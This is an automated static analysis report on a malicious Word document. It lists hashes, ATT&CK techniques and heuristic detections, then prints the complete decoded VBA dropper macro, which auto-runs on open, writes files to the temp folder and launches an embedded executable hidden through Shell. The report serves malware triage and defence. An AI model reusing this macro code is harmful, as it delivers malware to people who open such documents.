Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3ddfcd6c294b71d8…

MALICIOUS

Office (OLE)

205.5 KB Created: 2016-03-23 05:25:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: a7b933342e09e4904e931702c29c8b66 SHA-1: 1259a8c58dcdc097a2cea7f7532af3056c9a523b SHA-256: 3ddfcd6c294b71d8f250a75bd3e3e2a67f8baf57b0d77a77d2e88452facf37cf
634 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1027 Obfuscated Files or Information T1105 Ingress Tool Transfer T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing obfuscated VBA macros. These macros utilize functions like CreateObject and Shell to execute embedded content, specifically an embedded PE executable. The script attempts to write to the registry for persistence via 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy' and uses 'certutil' for potential decoding or downloading of additional payloads. The presence of an embedded executable and the macro's execution capabilities strongly indicate a downloader or dropper functionality.

Heuristics 17

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: BC.Win.Packer.Troll-14 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: BC.Win.Packer.Troll-14
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim jrw As Variant
jrw = Shell(jhe, 0)
End Function
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    TYBDWH = "'; [12p'12lp"
Set bhGdggwSw = CreateObject(YhhrJne(23 + 64) & "o" + "rd.Applicatio" + "n")
bhGdggwSw.Visible = jhbb
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    TYBDWH = "'; [12p'12lp"
Set bhGdggwSw = CreateObject(YhhrJne(23 + 64) & "o" + "rd.Applicatio" + "n")
bhGdggwSw.Visible = jhbb
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    JFNBHE = "'12[ [1po[31'"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Function
Sub Workbook_Open()
    Tqjnd
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Tqjnd
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    LKEBW = YhhrJne(3 + 90 + dttd)
SDFVE = Environ$(FDFEV) + LKEBW
DDVD = "" + "" & "."
  • Reference to certutil (download/decode) high SC_STR_CERTUTIL
    Reference to certutil (download/decode)
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2008 bytes
SHA-256: 3ee52a0439cfdbdbc64c0d83d76889b9818704df8dc8f045c586a2489eb451bd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Oybr()
    Tqjnd
End Sub
Sub Tqjnd()

Dim jhbb As Boolean, dttd As Integer



dttd = 7 - 8
FDFEV = UHbdd()
FDFEV = FDFEV & "P"
jhbb = False
On Error Resume Next
Dim WOIEW As String
LKEBW = YhhrJne(3 + 90 + dttd)
SDFVE = Environ$(FDFEV) + LKEBW
DDVD = "" + "" & "."
SSSDE = DDVD + "e"
SSSDE = SSSDE & "x" & "e"
DEIBE = DDVD & "rt" & YhhrJne(99 + 3)

BBBVQWGD = SDFVE + "vbbd" + DEIBE
DDDHUQWD = SDFVE & "Crot" + DEIBE
WOIEW = SDFVE + "at1" & SSSDE

Module1.HNbfw (BBBVQWGD)
Module1.HNbfw (DDDHUQWD)

Module1.Nnfhhe
RLKDWD = Environ$(FDFEV) & "\vbbd" & ".rt" & "f"
TYBDWH = "'; [12p'12lp"
Set bhGdggwSw = CreateObject(YhhrJne(23 + 64) & "o" + "rd.Applicatio" + "n")
bhGdggwSw.Visible = jhbb
 bhGdggwSw.Documents.Open (RLKDWD)
Module1.Polkd (2)
HYUASGD = Module1.Pjndw(WOIEW)
Module1.Polkd (3)
bhGdggwSw.Quit
Set bhGdggwSw = Nothing
End Sub
Public Function YhhrJne(wbrw As Integer)
    YhhrJne = Chr(wbrw)
End Function
Public Function UHbdd()
    UHbdd = "T" & "EM"
End Function
Sub Workbook_Open()
    Tqjnd
End Sub
Sub AutoOpen()
    JFNBHE = "'12[ [1po[31'"
    Oybr
End Sub

Sub Auto_Open()
    Tqjnd
End Sub

























Attribute VB_Name = "Module1"
Sub Polkd(Jbfe As Long)
jnfe = 5 + 6
Dim Fuen As Long

Dim Iwyr As Long
Iwyr = Jbfe + Timer
Fuen = Iwyr
Do While Timer < Fuen
DoEvents
Loop
End Sub
Public Function Pjndw(jhe As String)
Dim jrw As Variant
jrw = Shell(jhe, 0)
End Function
Sub Nnfhhe()
Polkd (2)
NJSKADSA = "l;2k1e;l1k21lj1kl"
End Sub
Public Function HNbfw(ofbe As String)
ActiveDocument.SaveAs FileName:=ofbe, FileFormat:=wdFormatRTF
End Function
embedded_office_0000984e.exe embedded-pe Office MZ+PE at offset 0x984E 171444 bytes
SHA-256: 7a5325300092161d8ce5126901c374c7843ceba9c7e4fc83d47a395e7f9a7069
Detection
ClamAV: BC.Win.Packer.Troll-14
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1520261315/Ole10Native 144076 bytes
SHA-256: 336abc7f39d30f98a116da7b935571a7e1343d4987f59021d145297498401f08
Detection
ClamAV: BC.Win.Packer.Troll-14
Obfuscation or payload: likely
Carved artifact entropy is 7.53, consistent with packed or encrypted content.

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